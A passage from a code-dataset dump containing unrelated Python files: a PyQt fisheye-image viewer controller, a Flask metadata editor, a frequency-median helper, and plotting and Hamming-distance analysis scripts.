None\n self.anypointState = 1\n self.angle = 0\n self.alpha = 0\n self.beta = 0\n self.zoom = 4\n self.width_img = 1400\n self.connect_button()\n\n self.showing = ShowImageResult(self)\n self.view = ViewWindow(self)\n self.videoControl = VideoController(self)\n self.videoControl.videoButtonDisable()\n self.anypoint = AnyPoint(self)\n self.panorama = Panorama(self)\n self.dialogOpenCam = QtWidgets.QDialog()\n self.winOpenCam = OpenCameras(self, self.dialogOpenCam)\n\n def connect_button(self):\n \"\"\"\n Connect the button and event to the function.\n\n Returns:\n --\n \"\"\"\n self.ui.actionLoad_video.triggered.connect(self.open_video_file)\n self.ui.actionLoad_Image.triggered.connect(self.open_image)\n self.ui.actionOpen_Cam.triggered.connect(self.onclick_open_camera)\n self.ui.actionAbout_Us.triggered.connect(self.aboutUs)\n self.ui.windowOri.mousePressEvent = self.mouse_event\n self.ui.windowOri.mouseMoveEvent = self.mouseMovedOriImage\n self.ui.windowOri.wheelEvent = self.mouse_wheelEvent\n self.ui.windowOri.mouseReleaseEvent = self.mouse_release_event\n self.ui.PlussIcon.mouseReleaseEvent = self.mouse_release_event\n self.ui.PlussIcon.mouseDoubleClickEvent = self.mouseDoubleclick_event\n self.ui.PlussIcon.wheelEvent = self.mouse_wheelEvent\n self.ui.PlussIcon.mouseMoveEvent = self.mouseMovedResultImage\n self.ui.closeEvent = self.closeEvent\n self.ui.backtoHome.triggered.connect(self.back_to_home)\n self.ui.actionHelp.triggered.connect(self.help)\n self.ui.actionExit.triggered.connect(self.exit)\n\n def open_image(self):\n \"\"\"\n Load image from directory using file open dialog.\n\n Returns:\n Image.\n \"\"\"\n file_image = select_file(\n \"Select Image\",\n \"../\",\n \"Image Files (*.jpeg *.jpg *.png *.gif *.bmg)\")\n if file_image:\n file_param = select_file(\n \"Select Parameter\",\n \"../\",\n \"Parameter Files (*.json)\")\n if file_param:\n self.ui.btn_Anypoint.setChecked(False)\n self.ui.btn_Panorama.setChecked(False)\n self.image = read_image(file_image)\n self.h, self.w = self.image.shape[:2]\n self.moildev = Moildev(file_param)\n self.showing.view_result(self.image)\n self.center = self.getCenterWindowsOri()\n self.cam = False\n self.anypoint.resetAlphaBeta()\n\n def open_video_file(self):\n \"\"\"\n Load video file from local directory using file open dialog.\n\n Returns:\n Video.\n \"\"\"\n file_video = select_file(\n \"Select Video Files\",\n \"../\",\n \"Image Files (*.mp4 *.avi *.mpg *.gif *.mov)\")\n if file_video:\n file_param = select_file(\n \"Select Parameter\",\n \"../\",\n \"Parameter Files (*.json)\")\n if file_param:\n self.anypoint.resetAlphaBeta()\n self.videoControl.videoButtonEnable()\n self.coordinate_point = None\n self.moildev = Moildev(file_param)\n self.cap = cv2.VideoCapture(file_video)\n _, image = self.cap.read()\n if image is None:\n QtWidgets.QMessageBox.information(\n self, \"Information\", \"No source camera founded\")\n else:\n self.cam = True\n self.next_frame_slot()\n\n def onclick_open_camera(self):\n \"\"\"\n Showing the window to select the source camera.\n\n Returns:\n None.\n \"\"\"\n self.dialogOpenCam.show()\n\n def cameraOpen(self):\n \"\"\"\n Open camera following the source given. the source has 2 choice which is usb camera and url camera\n raspberry pi. we have to running the server on raspberry to use the url camera.\n\n Returns:\n Camera open.\n \"\"\"\n video_source = self.winOpenCam.video_source()\n if video_source is None:\n pass\n else:\n self.cap = cv2.VideoCapture(video_source)\n self.coordinate_point = None\n _, image = self.cap.read()\n if image is None:\n QtWidgets.QMessageBox.information(\n self, \"Information\", \"No source camera founded\")\n else:\n QtWidgets.QMessageBox.information(\n self, \"Information\", \"Select Parameter Camera !!\")\n file_name = select_file(\n \"Select Left Parameter\", \"../\", \"Parameter Files (*.json)\")\n if file_name:\n self.moildev = Moildev(file_name)\n self.videoControl.videoButtonCamera()\n self.cam = True\n self.next_frame_slot()\n else:\n self.cap.release()\n\n def next_frame_slot(self):\n \"\"\"\n Control video frame, Its will Lopping the frame following the timer.\n\n Returns:\n None\n \"\"\"\n _, self.image = self.cap.read()\n self.oriImage = self.image.copy()\n self.h, self.w = self.image.shape[:2]\n self.fps = self.cap.get(cv2.CAP_PROP_FPS)\n self.pos_frame = self.cap.get(cv2.CAP_PROP_POS_FRAMES)\n self.pos_msec = self.cap.get(cv2.CAP_PROP_POS_MSEC)\n self.frame_count = float(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))\n duration_sec = int(self.frame_count / self.fps)\n self.minutes = duration_sec // 60\n duration_sec %= 60\n self.seconds = duration_sec\n sec_pos = int(self.pos_frame / self.fps)\n self.minute = int(sec_pos // 60)\n sec_pos %= 60\n self.sec = sec_pos\n self.videoControl.controller()\n self.center = self.getCenterWindowsOri()\n image = self.image.copy()\n self.showing.view_result(image)\n if self.videoControl.record:\n if self.ui.btn_Anypoint.isChecked() or self.ui.btn_Panorama.isChecked():\n self.videoControl.video_writer.write(\n self.showing.resultImage)\n else:\n self.videoControl.video_writer.write(self.image)\n\n def init_ori_ratio(self):\n \"\"\"\n Calculate the initial ratio of the image.\n\n Returns:\n ratio_x : ratio width between image and ui window.\n ratio_y : ratio height between image and ui window.\n center : find the center image on window user interface.\n \"\"\"\n h = self.ui.windowOri.height()\n w = self.ui.windowOri.width()\n height, width = self.image.shape[:2]\n ratio_x = width / w\n ratio_y = height / h\n return ratio_x, ratio_y\n\n def getCenterWindowsOri(self):\n \"\"\"\n Get the center coordinate on label windows original.\n\n Returns:\n center coordinate\n \"\"\"\n h = self.ui.windowOri.height()\n w = self.ui.windowOri.width()\n ratio_x, ratio_y = self.init_ori_ratio()\n center = (round((w / 2) * ratio_x), round((h / 2) * ratio_y))\n return center\n\n def mouse_event(self, e):\n \"\"\"\n Specify coordinate from mouse left event to generate anypoint view and recenter image.\n\n Args:\n e (): Coordinate point return by pyqt core\n\n Returns:\n\n \"\"\"\n if self.image is None:\n pass\n else:\n if e.button() == QtCore.Qt.LeftButton:\n pos_x = round(e.x())\n pos_y = round(e.y())\n ratio_x, ratio_y = self.init_ori_ratio()\n coordinate_X = round(pos_x * ratio_x)\n coordinate_Y = round(pos_y * ratio_y)\n self.coordinate_point = (coordinate_X, coordinate_Y)\n if self.ui.btn_Anypoint.isChecked():\n self.alpha, self.beta = self.moildev.get_alpha_beta(\n coordinate_X, coordinate_Y, self.anypointState)\n self.anypoint.anypoint_view()\n elif self.ui.checkBox_ShowRecenterImage.isChecked():\n self.alpha, self.beta = self.moildev.get_alpha_beta(\n coordinate_X, coordinate_Y, 1)\n self.panorama.recenterImage()\n else:\n pass\n # print(\"coming soon\")\n\n def mouseDoubleclick_event(self, e):\n \"\"\"\n Reset to default by mouse event.\n\n Args:\n e ():\n\n Returns:\n\n \"\"\"\n self.anypoint.resetAlphaBeta()\n if self.ui.btn_Anypoint.isChecked():\n self.anypoint.anypoint_view()\n elif self.ui.btn_Panorama.isChecked():\n self.panorama.resetCenter()\n self.panorama.recenterImage()\n else:\n pass\n\n def mouse_wheelEvent(self, e):\n \"\"\"\n Resize image using mouse wheel event.\n\n Args:\n e ():\n\n Returns:\n\n \"\"\"\n if self.image is None:\n pass\n else:\n modifiers = QtWidgets.QApplication.keyboardModifiers()\n if modifiers == QtCore.Qt.ControlModifier:\n wheelcounter = e.angleDelta()\n if wheelcounter.y() / 120 == -1:\n if self.width_img == 1100:\n pass\n else:\n self.width_img -= 100\n\n if wheelcounter.y() / 120 == 1:\n if self.width_img == 4000:\n pass\n else:\n self.width_img += 100\n self.showing.view_result(self.image)\n\n def mouseMovedOriImage(self, e):\n \"\"\"\n Mouse move event to look in surrounding view in result label image.\n\n Args:\n e ():\n\n Returns:\n\n \"\"\"\n pos_x = round(e.x())\n pos_y = round(e.y())\n ratio_x, ratio_y = self.init_ori_ratio()\n coordinate_X = round(pos_x * ratio_x)\n coordinate_Y = round(pos_y * ratio_y)\n self.coordinate_point = (coordinate_X, coordinate_Y)\n if self.ui.btn_Anypoint.isChecked():\n self.alpha, self.beta = self.moildev.get_alpha_beta(\n coordinate_X, coordinate_Y, self.anypointState)\n self.anypoint.anypoint_view()\n\n def mouseMovedResultImage(self, e):\n \"\"\"\n Mouse move event to look in surrounding view in original label image.\n\n Args:\n e ():\n\n Returns:\n\n \"\"\"\n pos_x = round(e.x())\n pos_y = round(e.y())\n h = self.ui.PlussIcon.height()\n w = self.ui.PlussIcon.width()\n ratio_x = self.w / w\n ratio_y = self.h / h\n coordinate_X = round(pos_x * ratio_x)\n coordinate_Y = round(pos_y * ratio_y)\n self.coordinate_point = (coordinate_X, coordinate_Y)\n if self.ui.btn_Anypoint.isChecked():\n self.alpha, self.beta = self.moildev.get_alpha_beta(\n coordinate_X, coordinate_Y, self.anypointState)\n self.anypoint.anypoint_view()\n\n def mouse_release_event(self, e):\n \"\"\"\n Mouse release event right click to show menu. the menu can select is show maximum, show minimum,\n save image, and show info.\n\n Args:\n e ():\n\n Returns:\n None.\n \"\"\"\n if e.button() == QtCore.Qt.LeftButton:\n pass\n else:\n if self.image is None:\n pass\n else:\n self.menuMouseEvent(e)\n\n def menuMouseEvent(self, e):\n \"\"\"\n showing the menu image when release right click.\n\n Args:\n e ():\n\n Returns:\n None.\n \"\"\"\n menu = QtWidgets.QMenu()\n maxi = menu.addAction(\"Show Maximized\")\n maxi.triggered.connect(self.view.showMaximized)\n mini = menu.addAction(\"Show Minimized\")\n mini.triggered.connect(self.view.show_Minimized)\n save = menu.addAction(\"Save Image\")\n info = menu.addAction(\"Show Info\")\n save.triggered.connect(self.saveImage)\n info.triggered.connect(self.help)\n menu.exec_(e.globalPos())\n\n def saveImage(self):\n \"\"\"\n Save image on local directory. the first time you save image, it will open dialog to select the directory,\n then the image saved will always stored on directory selected.\n\n Returns:\n None.\n \"\"\"\n ss = datetime.datetime.now().strftime(\"%m_%d_%H_%M_%S\")\n name_image = \"Original\"\n image = self.image\n if self.ui.btn_Panorama.isChecked() or self.ui.btn_Anypoint.isChecked():\n name_image = \"result\"\n image = self.resultImage\n if self.dir_save is None or self.dir_save == \"\":\n self.selectDir()\n else:\n name = self.dir_save + \"/\" + name_image + \"_\" + str(ss) + \".png\"\n cv2.imwrite(name, image)\n QtWidgets.QMessageBox.information(\n self, \"Information\", \"Image saved !!\\n\\nLoc @: \" + self.dir_save)\n\n def selectDir(self):\n \"\"\"\n Select directory to save image. This function create to make it not always ask the directory by open dialog,\n after directory save not None, it will pass open dialog prompt.\n\n Returns:\n None.\n \"\"\"\n self.dir_save = QtWidgets.QFileDialog.getExistingDirectory(\n self, 'Select Save Folder')\n if self.dir_save:\n self.saveImage()\n\n def aboutUs(self):\n \"\"\"\n Showing prompt About us information (MOIL LAB).\n\n Returns:\n None.\n \"\"\"\n self.dialogOpenCam.close()\n msgbox = QtWidgets.QMessageBox()\n msgbox.setWindowTitle(\"About Us\")\n msgbox.setText(\n \"MOIL \\n\\nOmnidirectional Imaging & Surveillance Lab\\nMing Chi University of Technology\\n\")\n msgbox.setIconPixmap(QtGui.QPixmap('./images/moildev2.png'))\n msgbox.exec()\n\n def help(self):\n \"\"\"\n showing the message box to show help information obout this application.\n\n Returns:\n None.\n \"\"\"\n self.dialogOpenCam.close()\n msgbox = QtWidgets.QMessageBox()\n msgbox.setWindowTitle(\"Help !!\")\n msgbox.setText(\n \"Moildev-Apps\\n\\n\"\n \"Moildev-Apps is software to process fisheye \"\n \"image with the result panorama view and Anypoint\"\n \" view. \\n\\nThe panoramic view may present a horizontal\"\n \"view in a specific immersed environment to meet the\"\n \"common human visual perception, while the Anypoint\"\n \"view is an image that has been undistorted in a certain\"\n \"area according to the input coordinates.\"\n \"\\n\\nMore reference about Moildev, contact us\\n\\n\")\n msgbox.setIconPixmap(QtGui.QPixmap('./images/moildev.png'))\n msgbox.exec()\n\n def back_to_home(self):\n \"\"\"\n This function is for back to main windows, because we just hide the main window so it possible to show\n the main window following the event given.\n\n Returns:\n None.\n \"\"\"\n self.parent.show()\n self.hide()\n\n def exit(self):\n \"\"\"\n Exit the apps with showing the QMessageBox.\n\n Returns:\n None.\n \"\"\"\n self.dialogOpenCam.close()\n self.close()\n\n def closeEvent(self, event):\n \"\"\"\n Control exit application by ask yes or no question.\n\n Args:\n event ():when you click the icon (x) or exit button\n\n Returns:\n destroy the window.\n \"\"\"\n reply = QtWidgets.QMessageBox.question(\n self,\n 'Message',\n \"Are you sure to quit?\",\n QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No,\n QtWidgets.QMessageBox.No)\n\n if reply == QtWidgets.QMessageBox.Yes:\n self.exit()\n event.accept()\n else:\n event.ignore()\n","sub_path":"src/plugins/default/ui_controller.py","file_name":"ui_controller.py","file_ext":"py","file_size_in_byte":17485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"348604490","text":"from datetime import datetime\n\nfrom flask import session\n\nfrom . import document\nfrom .. import models\nfrom ..utils import log\n\ndb = models.db\nDocument = document.Document\nLog = log.Log\n\nclass Hand():\n\n @staticmethod\n def get_all(document_id):\n document = models.Document.query.filter_by(id=document_id).first()\n return document.hands.all()\n\n @staticmethod\n def get_editable(id):\n doc_id = models.Hand.query.get(id).document_id\n if Document.get_editable(doc_id):\n return models.Hand.query.get(id)\n\n @staticmethod\n def edit(\n id,\n meta_handwriting_description_edition,\n meta_handwriting_description_custom,\n meta_handwriting_professional,\n meta_handwriting_same_hand,\n meta_writer_name,\n meta_writer_title,\n meta_writer_trismegistos_id,\n meta_scribal_name,\n meta_scribal_title,\n meta_scribal_trismegistos_id,\n meta_author_name,\n meta_author_title,\n meta_author_trismegistos_id,\n meta_text_type,\n meta_addressee,\n meta_addressee_name,\n meta_addressee_title,\n meta_addressee_trismegistos_id\n ):\n try:\n hand = Hand.get_editable(id)\n if hand:\n hand.meta_handwriting_description_edition = meta_handwriting_description_edition\n hand.meta_handwriting_description_custom = meta_handwriting_description_custom\n hand.meta_handwriting_professional = meta_handwriting_professional\n hand.meta_handwriting_same_hand = meta_handwriting_same_hand\n hand.meta_writer_name = meta_writer_name\n hand.meta_writer_title = meta_writer_title\n hand.meta_writer_trismegistos_id = meta_writer_trismegistos_id or 0\n hand.meta_scribal_name = meta_scribal_name\n hand.meta_scribal_title = meta_scribal_title\n hand.meta_scribal_trismegistos_id = meta_scribal_trismegistos_id or 0\n hand.meta_author_name = meta_author_name\n hand.meta_author_title = meta_author_title\n hand.meta_author_trismegistos_id = meta_author_trismegistos_id or 0\n hand.meta_text_type = meta_text_type\n hand.meta_addressee = meta_addressee\n hand.meta_addressee_name = meta_addressee_name\n hand.meta_addressee_title = meta_addressee_title\n hand.meta_addressee_trismegistos_id = meta_addressee_trismegistos_id or 0\n hand.updated = datetime.today()\n db.session.commit()\n data = {'status':'ok'}\n\n except Exception:\n Log.e()\n return {'status':'error', 'message': 'Could not edit the hand.'}\n return data\n\n ","sub_path":"sematia/controllers/hand.py","file_name":"hand.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"399522695","text":"class FreqMedian:\r\n\r\n\t#Gets the median of a dictionary composed of degrees and their frequencies\r\n\tdef getMedian(self, freq_dict):\r\n\t\tcount = 0\r\n\t\tmedian_location = sum(freq_dict.values()) / 2.0\r\n\t\t\r\n\t\t#Odd number of observations\r\n\t\tif sum(freq_dict.values()) % 2 == 1:\t\t\t\r\n\t\t\tfor i in range(0,len(freq_dict)):\r\n\t\t\t\tcount += freq_dict[i]\r\n\t\t\t\tif count >= median_location:\r\n\t\t\t\t\tmedian_output = i/1.0\r\n\t\t\t\t\tbreak\r\n\r\n\t\t#Even number of observations. Lower and Upper values are averaged. \r\n\t\telse:\t\r\n\t\t\tfor i in range(0,len(freq_dict)):\r\n\t\t\t\tcount += freq_dict[i]\r\n\t\t\t\tif count >= median_location:\r\n\t\t\t\t\tlower = i\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\tcount = 0\r\n\t\t\tfor j in range(0,len(freq_dict)):\r\n\t\t\t\tcount += freq_dict[j]\r\n\t\t\t\tif count >= median_location+1:\r\n\t\t\t\t\tupper = j\r\n\t\t\t\t\tbreak\t\t\r\n\r\n\t\t\tmedian_output = (lower + upper)/2.00\r\n\r\n\t\treturn median_output","sub_path":"06-2016-insight-data-engineering-challenge/src/median.py","file_name":"median.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"653367251","text":"import numpy as np\nimport matplotlib.pylab as plt\n\n\nw = np.linspace(0.01, 2, 100)\ncs = [w]\nts = [0.5, 1, 2, 4]\nfor t in ts:\n c1 = np.exp(w*t) / w\n cs.append(c1)\n plt.plot(w, c1)\ncs = np.array(cs).T\nnp.savetxt('/mnt/c/Users/el3ct/Desktop/timepaper/figures/c1.dat', cs)\nplt.ylim((0, 20))\nplt.show()\n\nw = np.linspace(0.01, 2, 100)\ncs = [w]\nts = [0.5, 1, 2, 4]\nfor t in ts:\n w = np.linspace(0.01, 2, 100)\n c2 = (2 - np.exp(-w*t)) / (w*w*np.exp(-w*t))\n cs.append(c2)\n plt.plot(w, c2)\ncs = np.array(cs).T\nnp.savetxt('/mnt/c/Users/el3ct/Desktop/timepaper/figures/c2.dat', cs)\nplt.ylim((0, 200))\nplt.show()\n","sub_path":"plot_const.py","file_name":"plot_const.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"83678321","text":"import itertools\nimport matplotlib.pyplot as plt\n\ndef hamming2(s1, s2):\n assert len(s1) == len(s2)\n return sum(c1 != c2 for c1, c2 in zip(s1, s2))\n\nresults0 = [line.rstrip('\\n') for line in open('results03_0.dat')]\nresults1 = [line.rstrip('\\n') for line in open('results03_1.dat')]\nresults2 = [line.rstrip('\\n') for line in open('results03_2.dat')]\nresults3 = [line.rstrip('\\n') for line in open('results03_3.dat')]\nresults4 = [line.rstrip('\\n') for line in open('results03_4.dat')]\nresults5 = [line.rstrip('\\n') for line in open('results03_5.dat')]\nresults6 = [line.rstrip('\\n') for line in open('results03_6.dat')]\nresults7 = [line.rstrip('\\n') for line in open('results03_7.dat')]\nresults8 = [line.rstrip('\\n') for line in open('results03_8.dat')]\nresults9 = [line.rstrip('\\n') for line in open('results03_9.dat')]\nresults10 = [line.rstrip('\\n') for line in open('results03_10.dat')]\nresults11 = [line.rstrip('\\n') for line in open('results03_11.dat')]\nresults12 = [line.rstrip('\\n') for line in open('results03_12.dat')]\nresults13 = [line.rstrip('\\n') for line in open('results03_13.dat')]\nresults14 = [line.rstrip('\\n') for line in open('results03_14.dat')]\nresults15 = [line.rstrip('\\n') for line in open('results03_15.dat')]\nresults16 = [line.rstrip('\\n') for line in open('results03_16.dat')]\nresults17 = [line.rstrip('\\n') for line in open('results03_17.dat')]\nresults18 = [line.rstrip('\\n') for line in open('results03_18.dat')]\nresults19 = [line.rstrip('\\n') for line in open('results03_19.dat')]\nresults20 = [line.rstrip('\\n') for line in open('results03_20.dat')]\nresults21 = [line.rstrip('\\n') for line in open('results03_21.dat')]\nresults22 = [line.rstrip('\\n') for line in open('results03_22.dat')]\nresults23 = [line.rstrip('\\n') for line in open('results03_23.dat')]\nresults24 = [line.rstrip('\\n') for line in open('results03_24.dat')]\nresults25 = [line.rstrip('\\n') for line in open('results03_25.dat')]\nresults26 = [line.rstrip('\\n') for line in open('results03_26.dat')]\nresults27 = [line.rstrip('\\n') for line in open('results03_27.dat')]\nresults28 = [line.rstrip('\\n') for line in open('results03_28.dat')]\nresults29 = [line.rstrip('\\n') for line in open('results03_29.dat')]\nresults30 = [line.rstrip('\\n') for line in open('results03_30.dat')]\nresults31 = [line.rstrip('\\n') for line in open('results03_31.dat')]\nresults32 = [line.rstrip('\\n') for line in open('results03_32.dat')]\nresults33 = [line.rstrip('\\n') for line in open('results03_33.dat')]\nresults34 = [line.rstrip('\\n') for line in open('results03_34.dat')]\nresults35 = [line.rstrip('\\n') for line in open('results03_35.dat')]\nresults36 = [line.rstrip('\\n') for line in open('results03_36.dat')]\nresults37 = [line.rstrip('\\n') for line in open('results03_37.dat')]\nresults38 = [line.rstrip('\\n') for line in open('results03_38.dat')]\nresults39 = [line.rstrip('\\n') for line in open('results03_39.dat')]\nresults40 = [line.rstrip('\\n') for line in open('results03_40.dat')]\nresults41 = [line.rstrip('\\n') for line in open('results03_41.dat')]\nresults42 = [line.rstrip('\\n') for line in open('results03_42.dat')]\nresults43 = [line.rstrip('\\n') for line in open('results03_43.dat')]\nresults44 = [line.rstrip('\\n') for line in open('results03_44.dat')]\nresults45 = [line.rstrip('\\n') for line in open('results03_45.dat')]\nresults46 = [line.rstrip('\\n') for line in open('results03_46.dat')]\nresults47 = [line.rstrip('\\n') for line in open('results03_47.dat')]\nresults48 = [line.rstrip('\\n') for line in open('results03_48.dat')]\nresults49 = [line.rstrip('\\n') for line in open('results03_49.dat')]\nresults50 = [line.rstrip('\\n') for line in open('results03_50.dat')]\nresults51 = [line.rstrip('\\n') for line in open('results03_51.dat')]\nresults52 = [line.rstrip('\\n') for line in open('results03_52.dat')]\nresults53 = [line.rstrip('\\n') for line in open('results03_53.dat')]\nresults54 = [line.rstrip('\\n') for line in open('results03_54.dat')]\nresults55 = [line.rstrip('\\n') for line in open('results03_55.dat')]\nresults56 = [line.rstrip('\\n') for line in open('results03_56.dat')]\nresults57 = [line.rstrip('\\n') for line in open('results03_57.dat')]\nresults58 = [line.rstrip('\\n') for line in open('results03_58.dat')]\nresults59 = [line.rstrip('\\n') for line in open('results03_59.dat')]\nresults60 = [line.rstrip('\\n') for line in open('results03_60.dat')]\nresults61 = [line.rstrip('\\n') for line in open('results03_61.dat')]\nresults62 = [line.rstrip('\\n') for line in open('results03_62.dat')]\nresults63 = [line.rstrip('\\n') for line in open('results03_63.dat')]\nresults64 = [line.rstrip('\\n') for line in open('results03_64.dat')]\nresults65 = [line.rstrip('\\n') for line in open('results03_65.dat')]\nresults66 = [line.rstrip('\\n') for line in open('results03_66.dat')]\nresults67 = [line.rstrip('\\n') for line in open('results03_67.dat')]\nresults68 = [line.rstrip('\\n') for line in open('results03_68.dat')]\nresults69 = [line.rstrip('\\n') for line in open('results03_69.dat')]\nresults70 = [line.rstrip('\\n') for line in open('results03_70.dat')]\nresults71 = [line.rstrip('\\n') for line in open('results03_71.dat')]\nresults72 = [line.rstrip('\\n') for line in open('results03_72.dat')]\nresults73 = [line.rstrip('\\n') for line in open('results03_73.dat')]\nresults74 = [line.rstrip('\\n') for line in open('results03_74.dat')]\nresults75 = [line.rstrip('\\n') for line in open('results03_75.dat')]\nresults76 = [line.rstrip('\\n') for line in open('results03_76.dat')]\nresults77 = [line.rstrip('\\n') for line in open('results03_77.dat')]\nresults78 = [line.rstrip('\\n') for line in open('results03_78.dat')]\nresults79 = [line.rstrip('\\n') for line in open('results03_79.dat')]\nresults80 = [line.rstrip('\\n') for line in open('results03_80.dat')]\nresults81 = [line.rstrip('\\n') for line in open('results03_81.dat')]\nresults82 = [line.rstrip('\\n') for line in open('results03_82.dat')]\nresults83 = [line.rstrip('\\n') for line in open('results03_83.dat')]\nresults84 = [line.rstrip('\\n') for line in open('results03_84.dat')]\nresults85 = [line.rstrip('\\n') for line in open('results03_85.dat')]\nresults86 = [line.rstrip('\\n') for line in open('results03_86.dat')]\nresults87 = [line.rstrip('\\n') for line in open('results03_87.dat')]\nresults88 = [line.rstrip('\\n') for line in open('results03_88.dat')]\nresults89 = [line.rstrip('\\n') for line in open('results03_89.dat')]\nresults90 = [line.rstrip('\\n') for line in open('results03_90.dat')]\nresults91 = [line.rstrip('\\n') for line in open('results03_91.dat')]\nresults92 = [line.rstrip('\\n') for line in open('results03_92.dat')]\nresults93 = [line.rstrip('\\n') for line in open('results03_93.dat')]\nresults94 = [line.rstrip('\\n') for line in open('results03_94.dat')]\nresults95 = [line.rstrip('\\n') for line in open('results03_95.dat')]\nresults96 = [line.rstrip('\\n') for line in open('results03_96.dat')]\nresults97 = [line.rstrip('\\n') for line in open('results03_97.dat')]\nresults98 = [line.rstrip('\\n') for line in open('results03_98.dat')]\nresults99 = [line.rstrip('\\n') for line in open('results03_99.dat')]\nresults_bin0 = []\nresults_bin1 = []\nresults_bin2 = []\nresults_bin3 = []\nresults_bin4 = []\nresults_bin5 = []\nresults_bin6 = []\nresults_bin7 = []\nresults_bin8 = []\nresults_bin9 = []\nresults_bin10 = []\nresults_bin11 = []\nresults_bin12 = []\nresults_bin13 = []\nresults_bin14 = []\nresults_bin15 = []\nresults_bin16 = []\nresults_bin17 = []\nresults_bin18 = []\nresults_bin19 = []\nresults_bin20 = []\nresults_bin21 = []\nresults_bin22 = []\nresults_bin23 = []\nresults_bin24 = []\nresults_bin25 = []\nresults_bin26 = []\nresults_bin27 = []\nresults_bin28 = []\nresults_bin29 = []\nresults_bin30 = []\nresults_bin31 = []\nresults_bin32 = []\nresults_bin33 = []\nresults_bin34 = []\nresults_bin35 = []\nresults_bin36 = []\nresults_bin37 = []\nresults_bin38 = []\nresults_bin39 = []\nresults_bin30 = []\nresults_bin31 = []\nresults_bin32 = []\nresults_bin33 = []\nresults_bin34 = []\nresults_bin35 = []\nresults_bin36 = []\nresults_bin37 = []\nresults_bin38 = []\nresults_bin39 = []\nresults_bin40 = []\nresults_bin41 = []\nresults_bin42 = []\nresults_bin43 = []\nresults_bin44 = []\nresults_bin45 = []\nresults_bin46 = []\nresults_bin47 = []\nresults_bin48 = []\nresults_bin49 = []\nresults_bin50 = []\nresults_bin51 = []\nresults_bin52 = []\nresults_bin53 = []\nresults_bin54 = []\nresults_bin55 = []\nresults_bin56 = []\nresults_bin57 = []\nresults_bin58 = []\nresults_bin59 = []\nresults_bin60 = []\nresults_bin61 = []\nresults_bin62 = []\nresults_bin63 = []\nresults_bin64 = []\nresults_bin65 = []\nresults_bin66 = []\nresults_bin67 = []\nresults_bin68 = []\nresults_bin69 = []\nresults_bin70 = []\nresults_bin71 = []\nresults_bin72 = []\nresults_bin73 = []\nresults_bin74 = []\nresults_bin75 = []\nresults_bin76 = []\nresults_bin77 = []\nresults_bin78 = []\nresults_bin79 = []\nresults_bin80 = []\nresults_bin81 = []\nresults_bin82 = []\nresults_bin83 = []\nresults_bin84 = []\nresults_bin85 = []\nresults_bin86 = []\nresults_bin87 = []\nresults_bin88 = []\nresults_bin89 = []\nresults_bin90 = []\nresults_bin91 = []\nresults_bin92 = []\nresults_bin93 = []\nresults_bin94 = []\nresults_bin95 = []\nresults_bin96 = []\nresults_bin97 = []\nresults_bin98 = []\nresults_bin99 = []\ntemp_results = []\nhamming_dist = []\n\nfor i in range(0, len(results0)):\n results_bin0.append(bin(int(results0[i], 16))[2:].zfill(32))\n results_bin1.append(bin(int(results1[i], 16))[2:].zfill(32))\n results_bin2.append(bin(int(results2[i], 16))[2:].zfill(32))\n results_bin3.append(bin(int(results3[i], 16))[2:].zfill(32))\n results_bin4.append(bin(int(results4[i], 16))[2:].zfill(32))\n results_bin5.append(bin(int(results5[i], 16))[2:].zfill(32))\n results_bin6.append(bin(int(results6[i], 16))[2:].zfill(32))\n results_bin7.append(bin(int(results7[i], 16))[2:].zfill(32))\n results_bin8.append(bin(int(results8[i], 16))[2:].zfill(32))\n results_bin9.append(bin(int(results9[i], 16))[2:].zfill(32))\n results_bin10.append(bin(int(results10[i], 16))[2:].zfill(32))\n results_bin11.append(bin(int(results11[i], 16))[2:].zfill(32))\n results_bin12.append(bin(int(results12[i], 16))[2:].zfill(32))\n results_bin13.append(bin(int(results13[i], 16))[2:].zfill(32))\n results_bin14.append(bin(int(results14[i], 16))[2:].zfill(32))\n results_bin15.append(bin(int(results15[i], 16))[2:].zfill(32))\n results_bin16.append(bin(int(results16[i], 16))[2:].zfill(32))\n results_bin17.append(bin(int(results17[i], 16))[2:].zfill(32))\n results_bin18.append(bin(int(results18[i], 16))[2:].zfill(32))\n results_bin19.append(bin(int(results19[i], 16))[2:].zfill(32))\n results_bin20.append(bin(int(results20[i], 16))[2:].zfill(32))\n results_bin21.append(bin(int(results21[i], 16))[2:].zfill(32))\n results_bin22.append(bin(int(results22[i], 16))[2:].zfill(32))\n results_bin23.append(bin(int(results23[i], 16))[2:].zfill(32))\n results_bin24.append(bin(int(results24[i], 16))[2:].zfill(32))\n results_bin25.append(bin(int(results25[i], 16))[2:].zfill(32))\n results_bin26.append(bin(int(results26[i], 16))[2:].zfill(32))\n results_bin27.append(bin(int(results27[i], 16))[2:].zfill(32))\n results_bin28.append(bin(int(results28[i], 16))[2:].zfill(32))\n results_bin29.append(bin(int(results29[i], 16))[2:].zfill(32))\n results_bin30.append(bin(int(results30[i], 16))[2:].zfill(32))\n results_bin31.append(bin(int(results31[i], 16))[2:].zfill(32))\n results_bin32.append(bin(int(results32[i], 16))[2:].zfill(32))\n results_bin33.append(bin(int(results33[i], 16))[2:].zfill(32))\n results_bin34.append(bin(int(results34[i], 16))[2:].zfill(32))\n results_bin35.append(bin(int(results35[i], 16))[2:].zfill(32))\n results_bin36.append(bin(int(results36[i], 16))[2:].zfill(32))\n results_bin37.append(bin(int(results37[i], 16))[2:].zfill(32))\n results_bin38.append(bin(int(results38[i], 16))[2:].zfill(32))\n results_bin39.append(bin(int(results39[i], 16))[2:].zfill(32))\n results_bin40.append(bin(int(results40[i], 16))[2:].zfill(32))\n results_bin41.append(bin(int(results41[i], 16))[2:].zfill(32))\n results_bin42.append(bin(int(results42[i], 16))[2:].zfill(32))\n results_bin43.append(bin(int(results43[i], 16))[2:].zfill(32))\n results_bin44.append(bin(int(results44[i], 16))[2:].zfill(32))\n results_bin45.append(bin(int(results45[i], 16))[2:].zfill(32))\n results_bin46.append(bin(int(results46[i], 16))[2:].zfill(32))\n 